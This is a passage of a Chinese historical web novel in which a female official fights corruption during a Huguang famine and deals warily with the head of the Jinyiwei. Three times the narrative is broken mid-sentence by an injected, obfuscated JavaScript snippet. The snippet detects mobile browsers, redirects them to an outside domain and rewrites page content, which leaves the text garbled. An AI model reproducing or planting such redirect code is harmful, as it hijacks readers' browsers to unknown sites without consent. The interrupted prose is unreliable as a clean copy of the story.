在她双耳嗡鸣,将要摔下台时,身后传来不耐的“啧”声,一柄剑横于腹前,将她拦回。 “姚知府,别看戏了,替你做到这个地步,再无法维持局面,你就该收拾收拾跟我回京了。” 季泠的胳膊被他死死攥住,只听他冷冷一说,还未见姚知府的回应,就被拉下台去。 半昏半醒地被拉扯着,更准确说是拖着,她还时不时被地上的石头杂物绊住,走得跌跌撞撞。 她还不如直接昏过去,总好过现在花着眼又想呕吐,却还要顾及这人。 进了屋内,大夫给她额角的伤上药包扎之后,又给煮了解暑茶,让她含了参片,季泠才算缓和过来。 大夫出去后,屋内空无一人,季泠趴在圆桌上,闭眼养精蓄锐。 湖广的水太深,她初来乍到就遇上这样的事情,京城的祸事还未解决,她不得不再三谨慎。 她答应来湖广赈灾,便是为了亲自找寻真想。京城被闫有德等人盯着,她一动手就容易暴露,湖广如今正值旱灾,她与各州府官员有来有往,顺理成章。 她本就只是户部小官,赈灾这样的大事,她不过承了上峰安排,前来核实,打个头阵罢了。等朝中派下巡抚,她便可以偷空去做自己的事情。 只是,即使做了十足的准备,她还是没料到,初来便遭遇一场动乱。这样一来,她的计划便不得不暂时搁置了。 炎炎烈日,帐内静悄悄,趴在桌上人的人似乎睡着了。 几乎微不可察的步声在帐内响起,冰凉的目光审视着圆桌上的人。那张脸,因为受伤与干燥,嘴唇苍白,因为酷暑与直晒,脸颊烫红。 半盏茶时间后,趴着的人眼睛猛然睁开,与桌前人对视上了。 “假睡?挺能装的。”他漫不经心。 季泠扶桌站起,全身紧绷着,不敢有丝毫懈怠。 “幸会,锦衣卫指挥使,成大人。” 成珏少见于人前,是真正的昭狱阎王,朝廷鹰犬。若非之前在养心殿见过几次,她还真认不出来。 “季大人为何这么怕我?” “朝廷上下,谁人不怕您。” “你的好先生,可就不怕我。”季泠即刻寒毛竖起,抬头看向成珏,却看不出他的意图。 成珏知道了。 可那又如何? 毫无证据的事情。 “越大人呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446339|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”她出发之前,可是提前派了越山去周边调运粮食的。 成珏慢悠悠地坐到季泠对面,“他快到武昌府了,不出意外,明日就可以带着粮食前来支援你。” 季泠松了口气,不管她想做什么,既然来了湖广,首要事情还是赈灾救民。也好在她借祝扶春的材料有了准备,否则她真成了必死的前锋。 “成大人为何出现在这儿?赈灾恐怕不是锦衣卫的事情吧?” “每逢大灾,必有人会暗中生乱,锦衣卫自然要前来镇压,顺便修剪枝叶。若是今日没有我,季大人怕是就要被生吞了吧。” 成珏翘起二郎腿,上下打量着季泠。季泠有些不适,但并不言明。眼下她还无法判断成珏是敌是友,她只身前来湖广,孤立无援,哪怕是敌人,她也该稳住,绝不能让成珏威胁到她的性命。 季泠缓缓坐下,提起茶壶倒了一杯水,水竟然还是热的,这姚知府看着圆滑,人倒是细心。 “我若是你,就不随意喝这儿的水。” 季泠闻言,端到嘴边的茶杯停住不前,她瞟了成珏一眼,仔细嗅了嗅水,有一股土腥味,还有一股淡淡的怪味,她形容不上来。 季泠打开茶壶顶盖,又闻了闻壶中的水,却没有那股味道。 是这茶杯有问题。 “你怎么知道有问题?” 成珏觉得她实在愚蠢,摇了摇头:“你来之前,不打探清楚情况就来?这个姚知府是什么人,你也不查一查吗?你一个五品官,来了湖广,就算是奉旨赈灾而来,也该你去拜见他,而非他来接见你。你怎么不想想,他为什么这么殷勤?” 季泠皱眉想了半天,还是没想出来,她初见这个姚知府,就只感觉他缩头缩尾的,像是盼救星一样把她盼到。她只以为姚知府是怕担上救灾不利的名头,影响他的仕途。 若依成珏的暗示,难道别有隐情? 想要将她害死在湖广的,不就是因为湖广税粮而被革职待处置的那一批人吗。 “闫有德?” “还不算太蠢。闫有德的孙子娶了姚知府的外甥女,两人也算是拐了弯的亲家。” 季泠冷笑:“他这样的人会因为亲家就费力帮忙吗?还不是撒糖而下,虫蚁俱来。怕是我这位暂代的郎中阻碍了他的路,引我来了这旱灾最严重的乡里,举目无亲之时,借了灾民将我了结了吧。” 成珏点点头,“你确实有几分聪明。” “那您这次又是为什么帮我?我这样的人,可无利供您图谋。” 成珏似乎偏要与她作对,不怀好意地挑了挑眉,凑近看着季泠:“那么季大人猜猜,不为利,我还能为什么呢?” 季泠神色一僵,往后靠了靠:“我想,成大人想是要卖我个人情吧,毕竟我身后是公主府,朝中谁不想搭上公主这棵大树呢?” 她和锦衣卫素来没有什么交集,她也不是什么九天仙子,她才不信成珏会有恻隐之心这种东西,就算有,多半是不会发生在她的身上。 成珏不接她的话茬:“季大人,你有一点说错了,我不止是这次帮了你,之前还救过你的命。” “之前?” 成珏很愿意借这个机会将事情告诉季泠,只可惜不凑巧,有人进来了。 78. 指挥使缘系应家女 “大人,闹事之人抓到了。” 成珏点了点头,看向季泠:“走吧季大人,去看看让你容颜有损的罪魁祸首。” 季泠暗叹成珏速度之快,从她受伤到刚才,不过一个多时辰,成珏就把人抓住了。 这样的本事,若是与他为敌,她怕是怎么死都不知道啊…… 季泠随他走了出去,就见一人被两个身穿香色窄袖贴里的人压住。 此人穿得体面,与其他灾民格格不入,难怪容易抓到。 再抬眼看去,四周森然,全是着此服装者。 看来湖广漕粮案,陛下是打算让锦衣卫打头阵了? 季泠直接开口:“既然抓到了,成大人就尽快让他将主谋之人吐出来吧。我看姚知府近日赈灾也辛苦,成大人不妨让锦衣卫好好款待一番。” 季泠才不管成珏究竟图她什么,既然眼下成珏愿意帮她,她何不直接用上。 “你倒是不客气,随意指示锦衣卫替你做事。” “成大人与我都是替陛下做事,何来的我支使您呢,是您襄助我才对。” 季泠朝他微微一笑,又想起什么似的,立刻说出:“后序赈灾,我还有诸多事务需要与成大人沟通,方便起见,麻烦成大人替我在锦衣卫大帐附近安排个住所。” 不等成珏点头,季泠就往外走去。 “这女人…” 成珏无语,早知道就让她被那块碗砸死,那杯水药死,省得在这儿毫不客气地安排他。 光影渐长,已经过了日头最盛的时候,再过半个时辰,太阳就该落了。 季泠独自一人在土径上慢吞吞走着,眼下她虽能借成珏的势,可所有决定,她都必须自己做主,绝不能因此失去先手。 那个咒骂姚知府的人,那个说出她是女人的人,那个掷出陶碗的人…… 哪些是巧合,又哪些是安排。真真假假,假假真真,这样一台大戏,角儿们各怀鬼胎啊。 季泠走回前方的矮台处,先前聚集的乡民兴许是累了,也可能是觉得闹事无用,已经散开了。 季泠四处逡巡着,走了好久,终于看到那个她要找的人。 季泠走上前去,弯腰叫了他:“这位大伯。” 那人转头,就是先前主话闹事的男子。 他看见季泠来了,明显的意外,看了看身边慌张的妻子和孩子,借着竹竿将自己撑起来,挡在家人身前。 季泠对他微笑,极力表示自己的善意:“放心,我只是想找你问些事情,并非问罪。” 他有些狐疑,犹豫片刻还是跟着季泠走到不远处的一颗枯树下,站定后,立刻转头望向妻儿,就怕季泠使黑手,将他家人挟持。 季泠觉得他实在想太多了,“我一个女人都敢只身来找你,你还怕什么?” 被季泠这么一说,他才发现季泠竟毫无准备地来找他,额头上的伤虽然包扎了,但身上染了血的衣裳却还没换,嘴唇也全部干裂泛白,看起来并不是来此做做样子的京官。 “季大人找我何事?”他方才号召众人声讨季泠,他不觉得季泠会这么心善,就此放他一马。 “大伯放心,我不会怪罪你先前闹事。只是,我看您似乎颇有威信,乡民们都很愿意听从您的话。您虽看起来与众人无异,但眼神明亮,是个有主意和决断的。” 季泠越说,语气越恭敬,男子看了看她,这般年龄,与自己的长女也是差不多年岁的,俗话说伸手不打笑脸人,他的态度也软和下来。 “季大人客气,我姓罗,我们大合乡的乡民至少一半都姓罗。我父亲是罗氏族长,我略识得几个字,与乡民们都熟悉,他们这才听从于我。” 季泠早已猜到,从前她在宁川的乡里,人们也都是跟着宗族之内的话事人说话的。 “罗大伯,我看您也并非鲁莽之人,我虽不欲怪罪您,却也想问问清楚,您是为何煽动乡民,对我发难?” 季泠眉尾一动,带动额角的纱布,自然吸引他人的注意。 罗大伯有些尴尬,挠了挠头,张望了几下,终于锁定一个人:“是他,郑五,他和姚知府家中的看守有关系,他告诉我,因为附近州府的粮仓没粮了,我们乡又不得府里看重,朝廷就只派了个女人下来应付我们。只有我们将事情闹大,闹出人命来最好,这样上头才会注意我们。” 季泠顺着他的方向看去,暗自记住了那人的模样。 “放心罗大伯,朝廷不会忽视湖广的每一位百姓。前头我说的话也并非做戏,我会与诸位共同进退。前几日水米不足,您和乡民们都受苦了。不出意外,最迟后日,周转而来的粮食就会抵达武昌府了,为避免哄抢失序,到时候还需靠您说服乡亲,听从我们的安排。” 罗大伯点点头:“这是自然。” 季泠微笑着,给足了罗大伯颜面:“执庸多谢大伯为乡民所做的一切。此次旱灾突降,湖广众多百姓都饱受折磨,大合乡的乡民也经受了累日饥渴,官府已在全力调配赈灾物资,您与各位乡民多加休息,保存体力,等物资一到,水米充足,就可以着手恢复生产了。” 罗大伯看着眼前这个年轻女子,眼中的真诚似乎还未被官僚朽烂之气腐蚀。 “若这能如此,我代大合乡乡民谢过季大人。” 季泠虚手作扶,看着罗大伯回到妻儿身边去。 晚霞散去,将要入夜了。 锦衣卫驻扎的营帐前悄然无声,四处也不见人影。 季泠回了自己的营帐,不得不开始为后续赈灾与税粮案提前谋划。 这个姚知府……眼下没有他的确凿证据,且武昌府人以他为尊,若是在赈灾之时就将他拉下马,武昌群龙无首,并不利于之后民生恢复。 成珏行事如何暂且不说,但他出现在此处,就代表皇上对税粮案是上了心的,那她便可盯住成珏的行动,再跟他打好关系,看看事情是否能如她的计划进行。 换了一身干净衣裳,季泠抬步准备去寻找成珏。 一阵晚风吹起,地上沙石翻滚,帐子被吹起一角,季泠心中一跳。 她终于发现了。 今晚的锦衣卫过分安静,过头了,便不对劲了。 行至成珏帐前,里头有灯火未熄,有人影晃动。 “成大人?”季泠问道。 人影动了一下,却无回应。 季泠皱眉,抬步离开。 不方便见她?但至少该说一声吧,真没礼貌。 忽然,帐内传来异动,似乎是有人在用脚摩擦地面,却并非行走该发出的声音。 大帐周围安静得瘆人。 堂堂锦衣卫,营帐四周空无一人,未免怪异。 季泠踏着步子逐渐走远,视线在黑暗中逡巡着,看见一处寒光,立刻走上前拿起。 她又摸了摸自己两只窄袖之内,该在的东西都在。 季泠用力地吸了一口气,又重重地吐出来,汗津津的右手握紧了刀柄。 先前还有几阵风吹来,可入夜之后,连风声都没有。 帐内,压抑的安静后,传出对话声。 “成大人,瞧,你唯一的机会都没了。”是姚知府的声音。 “锦衣卫指挥使也不过如此,强龙压不过地头蛇,你来到我的地方,想将我关押,简直异想天开。” “姚大人,我可是皇上的人。” 姚知府不屑:“那又如何?那个季执庸下午也说自己是皇上的人,大合乡的人不还是要砸死她。” “你想借大合乡将我们全部杀了?你竟也不担心朝廷怪罪?” “你们死于灾民暴乱,不是合情合理吗?怪只怪你们年轻,不识时务,什么人都敢招惹……” 对话不绝于耳,帐外透影中,一人背对而立,另一人看不清。 想来,背对的就是姚知府了。 季泠悄悄掀起帐子一角,成珏被反绑在椅子上,姚知府看不见她。 时机不错。 她将右手伸出,仔细衡量了距离,看准姚知府的腿,立刻动了手,一支暗箭就从她袖中射出,姚知府毫无征兆地倒地。 他立刻转头,帐子一掀,季泠走了进来。 “季执庸?!你不是走了吗?” 他捂着自己的腿,盛怒之下目瞪口呆。 季泠懒得跟他多废话,先提刀在他双臂上划拉两下,见了血,让其无法动弹,才替成珏松绑。 成珏松了松胳膊,立刻就捏着姚知府的脖子,阴恻恻地盯着他。 “那么姚知府,若是你死在乱民之中,是不是也合情合理呢?” 季泠拦住了成珏:“先将他押送回京,不要在他身上浪费时间。” 又扔了根绳子给他,成珏死死地将他捆住,甚至将他身上的几两肉都勒出来,才算解气。 季泠再提起刀,毫不客气地在他腿上也划拉两下,皮开肉绽。 成珏饶有兴致地看着她,也不阻止。 姚知府破口咒骂,季泠直接找了块破布塞进他的嘴中。 “留着你的话到京城和你的好亲家闫有德说去吧。这几刀只是报你鼓动灾民对我动手的仇,先前的账,咱们慢慢算。” “季大人,你不该进户部,该来我们锦衣卫才是。” 季泠将大刀递给他,抬头睨了他一眼:“多谢成大人赏识,那我还请你给我留给位置才是。若是来日户部混不下去了,我也好去锦衣卫讨口饭吃。” 成珏听着她牙尖嘴利,毫不客气,让她在帐内看着人,自己出去解救那些被药倒的手下。 帐内只余她与姚知府二人,季泠居高临下地看着姚知府,计上心来,直接伸手探到他身上到出摸索,随后将他的牙牌与印信一扯,塞入自己袖中, 有了这个,她才能在武昌府方便行事。 成珏叫来人将五花大绑的姚知府连椅带人端了出去,拿来一坛子酒,整衣而坐。 “看不出来,你还是有点本事的。” “自保而已。”季泠淡淡道,“如此一来,我们也算两清了。”她可不想欠锦衣卫的人情,万一日后被盯上,她的麻烦就多了。 成珏却不想放过她:“季大人可真是健忘,先前我可说过,我还救过你一次。” 季泠被他这么一提醒,才想起,狐疑地看着成珏:“何时?” 成珏歪着头看了她一眼,替两人倒了酒。 季泠闻到酒味就皱了眉头,这个味道容易熏得人不清醒。成珏却毫不在意,直接豪饮几口。 季泠拦下他:“成大人,你不至于在我面前喝个烂醉,才好说出真相吧?” 成珏这究竟是搞得哪一出,季泠实在是看不懂。 “才说你有点本事,现在又像个弱智。” 季泠冷下脸,想要发怒,却终于是压制住了。 “这儿的水全给他下了药,不然我怎能轻易被他绑住?渴了一日,眼下只有酒能解渴。你若不喝,便只能等到明日清晨运水的人来。” 季泠犹豫片刻,还是抿了一口,无他,如今在这个炎热干燥的地方,她的喉头几乎也要灼烧起来了,哪怕是饮鸩止渴,也不得不为。 只是,她也不敢多喝,成珏这一杯又一杯的样子,哪里像是解渴,分明像是要灌醉自己。 那她…… “三年前,冬至夜,你被人追杀。若不是我放箭,你早就一命呜呼了。” 三年前?她怎么不知道? “那时候,我和成大人连面都没见过吧?” 成珏嗤笑:“你是没见过我,可我早就注意到你了。” 成珏这话说得让季泠一阵恶寒,她立刻僵住:“你想说什么?” 成珏又喝了一口,晃了晃头,看起来似乎是要醉了,可是眼神却清明着。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446340|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“放心吧,我还不至于看上你。季执庸,你和徐行,什么时候搅和到一块儿去的?” 听到这个名字,季泠再如何压制,内心还是起了层层波澜。 成珏在试探她?午后,他已经试探过一次了。 看来,他已经知道不少了。 季泠捏着酒杯,刻镂的花纹印在她的指腹上。 “你的目标是徐行?” “是。所以你该感谢他,若不是他,你可没有现在的好日子。” 嘶,成珏的语气,很不对劲。 季泠嘴角一抽,脑海中冒出一个古怪的想法。虽然她自己也被吓了一跳,但毕竟当了三年官,和那些老油子去了几回酒楼,也是知道总有那么些人是有那么些怪异的癖好。 她面色怪异地看着他,试探着问:“你,喜欢他?” 成珏猛然噎住,像是看着踩到自己尾巴的狗一样看着她:“你这样的蠢女人,徐行怎么就看上你了?” “不是吧?你真喜欢徐大人?” 她惹上了自己的情敌?这可是旷古奇闻呐,她惊异地仿佛下一刻就要掏出纸笔开始写话本子了。 “你能不能脑子正常些?我看上的不是徐行,是应家姑娘。” 成珏嘴巴一快,珍藏多年的秘密脱口而出。 季泠杯中的酒不慎打翻,站起身来寻找可用的巾帕。 掩在灯火暗处,她眸中的震惊与大灾将临的无措无所遁形,最终又在迎上光亮后,毫无痕迹地掩藏住了。 “应家姑娘?应侍郎家?他不是只有一个外任的独子吗?” 成珏难得找个盟友说说话,季泠却始终跟不上他的节奏,竟借着酒气,烦躁地嚷嚷起来:“你到底是怎么能和徐行那样的人凑到一块儿去的?应家先前和他有过婚约,你全然不知?” 此言几乎如晴空无端劈出的闪电,季泠强装许久的笑终于被劈裂开来。 “什么婚约?” 成珏看着季泠痴呆的模样,替她扼腕:“我真不知说你蠢钝还是赞你心宽,自己的后房哪日被人烧了都不知道。你入京几年了,竟然对各家姻亲全无了解吗?” 这可是他们这些提命行事的人必须掌握的暗脉,季泠堂堂公主府出身,竟一无所知。 倒是他高估她了。 不过婚约两字,已然将她的神智撕碎了,她还能想的到什么? “所以,应家和徐家,是姻亲?” “应家和徐家本是世交,应家小姐,比你略长几岁吧,是和徐行定了婚约的,本该在她及笄后就成亲。可她自小身体不好,还未等到徐行从南边回来同她成亲,就病故了。” 南边…… “为什么,他会去南边?” 她不知道成珏是否知道她与徐行在建州的相识,兴许是不知的,因她那时实在太过微小。可那时的徐行有婚约,她一时间不知该怎么反应才对了。 “他当年刚入仕不久,在翰林院观政,正是张瑛和钱莘打斗最厉害的时期,他的老师谭谦被打压外放,他便告假游历去了。” “原来如此啊。”季泠喃喃,忽而一笑,抬头看见成珏的神情,竟是无尽的思念与缅怀。 人一迷茫,便不想专注剖析自己了,不如去探索他人。 于是,季泠问出口:“你,为何喜欢应家小姐?她是个什么样的姑娘?” 她这话问出来,是存了些私心的。她想知道,应小姐是什么样的人。 一位应小姐,应惟绅的掌上明珠,徐行的聘妻,她背后的两个家族,是她当下痛苦的根源。 而成珏更是怪异,他喜欢应小姐,盯上徐行,再正常不过。可为什么他不对付徐行,反而因为徐行,转过头来帮她呢? 更不必说,他大可以利用应家之事,离间她和徐行。 她和徐行的关系,大小也算是一个把柄了。成珏知道,却透露给她,究竟是出于什么想法? 京城波诡云谲,她是浑水中最透明的人,她始终都没能摸懂规则。 成珏因她一言,陷入了早已蒙尘的久远过往。 他在锦衣卫中多年,一直做着皇上手中最利落的剑,只有在夜深人静时,闭上眼,才会想起当年那个姑娘,头上带着最夺目的石榴花发簪,笑起来却是温柔而宁静,教人有再大的怨恨,也不舍得发泄到她的身上。 世间原是没有神仙的,若真有一位观音菩萨,那一定就是她的模样吧,成珏坚信如此。 “你放心,你的徐大人对应小姐没有任何情意。应小姐曾于我有恩,她与你截然不同……她是一个,有着慈悲心肠的女子。从陕西到京城,许多百姓都受过她的恩惠。应大人在陕西名望极高,便是因为应夫人与应小姐乐善好施。” 季泠听着他的描述,忍不住在脑海中描摹应疏的模样。 “那她定是个很温柔的姑娘吧,用自己的悲悯仁心渡了苦海众生。” 这样的姑娘,是她一生都可望而不可及的,她是挣扎在尘世欲念中的俗人。 因这一句话,成珏庆幸当年和今日都选择对她伸出援手。 “是啊...你说得没错,她就是那么好的一个人。我帮你,不是因为徐行之故,而是因为她。若是她见过你,她一定会喜欢你的。” 成珏仍然记得,在应疏病逝的前一年,他看见她站在树下,笑眼看着自己的表妹在院中追逐打闹,十分活泼。 他听见她说,她喜欢那样热情明媚、张扬生动的人,她只看着便感觉,自己也多了几缕活气儿。 “若是我能见到她,我也一定会喜欢她。” 季泠笑了笑,倒了一杯酒,一饮而尽,辣的她眼睛都红透了。 夜深了,醒来的锦衣卫开始有条不紊地夜巡,季泠回了营帐,点起烛火,看着床边的佛龛。 终于,一日的疲惫让她再难支撑,垂头之际跪了下去,匍匐在地。 79. 长明灯指引黄泉路 季泠将要分不清,她的半昏半醒是因为劳累带来的困倦,还是一日多番的冲击以致的昏厥。 总之,她再次恢复意识时,已经是三更天了。 她的双膝与脖子几乎不能动弹,但明日仍有一场硬仗要打。 眼下,她才是真正彻底的孤立无援。 上天偏就要与她开这样一场玩笑啊。 应家有了徐行还不够,如今又添了一个成珏。 成珏。 原以为自己终于找到了一缕希望,即使短暂而渺茫,至少也是有的。 可当她做好一切打算,喜出望外地奔赴去准备抓住的时候,却发现竟是烈火的伪装。 怎么偏偏叫她对上的都是这样有权有势又有心眼的人呢。她对付一个闫有德都费劲,现在,她的敌人不尽其数。 三更天的营帐里,仅有佛龛前的一盏长明灯影影绰绰,飘忽不定。 季泠爬到床上,木然地盯着那盏长明灯。 他们说,人过身的时候,床头要有一盏长明灯,指引黄泉路。 那么,活人呢? 她这样辛苦存活的人,有那么多秘密又破绽百出的人,游离于世家权贵之外又不得不周旋其中的人,又能凭借什么来指引她的前途? 那盏灯在她眼中跳动,将她的清醒与湿润烧灼,最终带着干涩的磨砺阖上双眼,等待明日的希望。 在大合乡的第二日,本该是越山等人将赈灾粮运抵的日子,坏消息先登堂入室了。 议事公帐中,前去对接的锦衣卫闯入,在成珏耳边耳语,紧接着脸色骤变。 季泠当即心下一跳,压下惊疑,直至议事结束,才开口问他。 “赈灾粮在路上被耽误了...” “怎么可能!不是锦衣卫亲自押运吗?” 成珏摇摇头:“看来除了姚知府,湖广还有不少闫有德一党的人。” 闫有德一党…… 怕是不仅如此吧? 区区一个户部五品郎中,有如此手段在一省之境搅动风云? 季泠跌坐回去,不知如何是好。 是应惟绅吗?他竟会做到如此地步吗? 她原想的是,等赈灾之事结束,再来处理此事。 可幕后之人明显按捺不住,已想速战速决,斩草除根。 “可我已经许下承诺,明日就该发放粮食了...下一批粮食什么时候到?” 季泠万分后悔,她本以为多留了一日,已经是保险起见了的。 难怪从始至终无人对乡民言说,赈灾粮何时会运达,竟只有她一个傻子,不知官场变数之多,从不许人擅下论断。 “至少也要两日。” “两日...他们怎么还能熬得过两日啊...” 季泠觉得天都塌了,明日她该怎么和乡亲们交代呢? 她阼日还振振有词地向乡民和罗大伯做下保证,连第一个诺言都未兑现,她就要食言了,他们又该怎么继续相信官府、相信朝廷? 次日傍晚,红霞漫天,站在矮台枯树前的空旷硬地上,放眼望去,是无尽蔓延的干燥晴朗,天边的云烧尽了最后的一丝湿意。 今日本该是赈灾补给抵达大合乡的日子。 季泠坐在帐内处理着下属送来的其它乡镇的灾情快报,笔走游龙,万分焦躁。 随着日光暗淡,喧喝声四起,如浪翻涌。 她知道,乡民们饥肠辘辘,口干舌燥,又集聚在矮台之前,要官府给个说法。 人到绝望之际,就会以陷之死地然后生的决心抛弃理智,冲破道德,以难以抵挡的洪水之势将所见之物全部毁灭。 她听见了怒骂斗殴的声音。 一乡的动乱,自然可以用官兵轻而易举地镇压,可是这样两败俱伤的场面,季泠不想见到。 兵戈声,怒骂声,推攘声,尖叫声,安抚声…… 声声入耳,几让她头痛欲裂。 骚乱被说服之声平复,季泠还在帐内急着想补救的办法,可她独木难支。 这样的事情,是再如何的反应迅速、神机妙算、通天本事,也无法解决的。她只能等,等赈灾粮送到,等百姓的躁动被希望填平,等她的安排能如期进行。 她想着祝扶春给她的那些治疏,她已经在离京之前预先做好了部署,可她并非神佛,如今自身都难保全,还需竭力维持局面,已叫她呕心沥血了。 终于,她知道,自己会被找上门的。 季泠走出帐外,看见了被锦衣卫拦住的罗大伯。 “季大人!已经入夜了,您前几日说过,最迟今日就有粮食送来...” 罗大伯已经饥饿难耐,说话有气无力,可还是靠着乡民的信任支撑,走到她面前,讨要一个说法。 季泠忽觉,她一身康健地站在枯槁嶙峋的乡民面前,竟有几分卑劣,以至于她的内疚更多上几分。 “罗大伯...我对不起你们...” 罗大伯瞪着季泠,虚气之中难掩惊愕:“你是什么意思?” “赈灾粮食在途中出了问题。” “所以你之前是诓骗我!借我稳固乡民?” 季泠不知道怎么回答他,面对生存一线的挣扎,她就算如何巧言令色,如何心机深重,也没办法在此刻派上用场。 她良心不安。 因她面对的是一群只想活下去的人。 低头再抬头之际,她掩下惶惶神色,以充满希望的语气面前这位老者说:“两日,再有两日,下一批粮食就会来了...” 罗大伯怒目相对:“两日!莫说两日!你自己去看看,那些人连两个时辰都等不了了!他们只盼望着今日粮食能送到,哪怕只有几颗米也好,至少让他们能活下去!” 震怒过后,罗大伯看着季泠颓然后退,终于明白她也束手无策了。 “季大人,你是朝廷派下来的官员,是我们乡民唯一的希望....” 罗大伯的眼中满是哀求,季泠不忍地转过头,这个重担上系着太多条人命,她快承担不住了。 “大人,我不想惊扰你,但你该跟我去看看。今日,多少人盼望着这一口粮食,从日升之时就挣扎着等待,日落时刻,他们知道自己等不到了...仅仅一日,我们的乡民,死了几百人。” 季泠看着他浑浊而凄哀的眼睛,不合时宜地想起类似的场景——她曾经在父亲网上来的鱼中见过,以永不闭眼的决绝看向苍天,那是离开海水后濒死之际的无望。 之后,季泠随他下葬了一个幼童。 那个孩子瘦得只剩下一把细骨,肚子却高高隆起。 她猜到了——先前是刮了树皮,掘了草根充饥,可后来,他抢不过旁人。 这孩子太饿了,只能疯狂刨土送进嘴中,以求饱腹。 最后肠胃结涩,还未过十岁生辰,就永远离世。 在前几日,季泠还未抵达大合乡时,这个孩子举着比他还高的铁锹,再一次为他的亲人挖着土坑。 余生,他再也不必举起那把沉重的铁锹,因为那已经是他最后一位亲人。 “诸府饥,民食草树殆尽,有阖室死者。”这是季泠曾经在书上看见的。 如今,她为这个孩子举起他的铁锹,亲手为这场悲剧埋葬。 没有任何杂草蚯蚓的沙土卷了她一身。 “季大人,这样的孩子,有几百上千个....我们乡中,快要没孩子了...” “罗大伯...我想办法,我一定能想到办法的...您等等我...” 如今除了等,她说不出第二个字。 季泠紧紧地握着罗大伯的手,绝望的燥热在两人手中流窜。 这双手的皮肤固执地粘在朽朽瘦骨上,无论外力如何掰扯也不会脱落离去。 罗大伯别无他法,他只能再一次将希望寄托在季泠身上。 他看着眼前与他长女一般大的女子,看见她的眼眶倏红,看见她的衣袍皱乱,看见她压下慌张又浮现执着,决定相信她是一个能带来希望的好官。 一壶酒送入锦衣卫指挥使的营帐后,季泠坐在帐内等了一刻钟,坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446341|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立难安。 终于,她抬步走到成珏营帐之前,烦请守卫通报。 “季大人,指挥使醉了。” 季泠的手藏在宽袖之下,揪着中衣的袖缘,深吸一口气,笑道:“无妨,我有要事与成大人商议,你们去弄碗醒酒汤吧,我进去等他醒来。” 守卫看着她严肃的模样,犹豫片刻,让位于她。 季泠抬步进去,成珏正趴在屏风后的圆桌上小憩,脸色通红,真是醉了。 “成大人?”季泠仍要确定一番。 “成珏?”他咂巴了几下,没有睁眼。 季泠终于舒一口气,将双手在身侧抹了两把,确保手心的干燥无印。 随后,她蹲在成珏身前,抽开了他腰侧的衣绳。 成珏动了一下。 季泠当即屏住呼吸,抬头看了他一眼,戳了戳他,没动静。 她仍惊疑未定,拿起桌上的酒壶,里头的酒已经没了大半。 想来是不会出差错的。 复蹲下,季泠摸上那身青灰色贴里,将手探入胸前,很快便摸到了她想要的东西。 小心翼翼地抽出后,放入袖中,指尖一翻,将他的衣绳系紧。 季泠缓缓起身,确定他未醒来,立刻抬步离开。 她要速战速决。 绕出屏风之时,一阵疾风从后袭来,季泠躲闪不及,弯刀已然架在她的颈侧。 原来是守株待兔。 季泠苦笑,知道这是一次命悬一线的冒险,可终究她还是来了。 正如湖广,她没把握全身而退,但她仍然不顾一切地来了。 季泠偏头,看向这把刀,还是她那日救了成珏的刀呢。 可惜成珏救了她两回,她还欠他一条命,眼下更是必死无疑了。 她与徐行将要走到头了,还即将和应家反目成仇,成珏便也算是她的敌人。 但他眼下不知情,那便还有转圜的余地。 季泠缓缓转身,尽力避开刀刃带来的冰寒。她的命很值钱,还有很多事情要去做的,可千万不能因为这样的小事死了。 她迎上的不是前几日的似笑非笑,而是阎王爷看见想要从奈何桥跑回人间的鬼魂时,露出不自量力的嘲笑。 是她不义,可她别无选择。 于是季泠决定率先出手,借他的弱点。 “成大人,本以为您仍旧思念往昔,想要醉酒追忆。” 她准确记得成珏说,今日是他与应疏初见的日子。 成珏面色冰寒。 “姚知府的当,你当真以为我会上第二次?季执庸,你确实很适合锦衣卫。”他冷笑,不欲收刀。 季泠朝他走进一步,面露诚恳:“应姑娘当年与你初见时,将荷包递给你,想也是竭力掩人耳目吧?” 成珏眼中晦暗不明,季泠乘胜追击:“她也知道若是此事暴露出去,她的名声尽毁,可她如此善良,仅仅为了一个萍水相逢的小男孩,愿意冒此风险,行此善事,救他一命,为他争取一条生路。” 季泠哀惶不已,直勾勾地看着他:“成大人,您知道吗,方才,两个时辰前,我刚刚下葬了一个小男孩。” 成珏眼瞳一缩。 “恰好,要十岁了。” 他十岁的今日,将要饿死,因为应疏,得以活命,因为应疏,得以从陕西走到京城。 垂眸半晌,成珏放下刀。 季泠还未舒气,下一刻,未握刀的那只手掐上她的脖子,将她抵在烈马屏风之上。 “成珏!”季泠死死扒住他的手,可她再如何努力,也抵挡不住尸山血海中拼杀出来的,想要置她于死地的阎王。 “季执庸!你竟敢利用我的过往!你当真以为,有了徐行的护佑,你就可以为所欲为吗!” 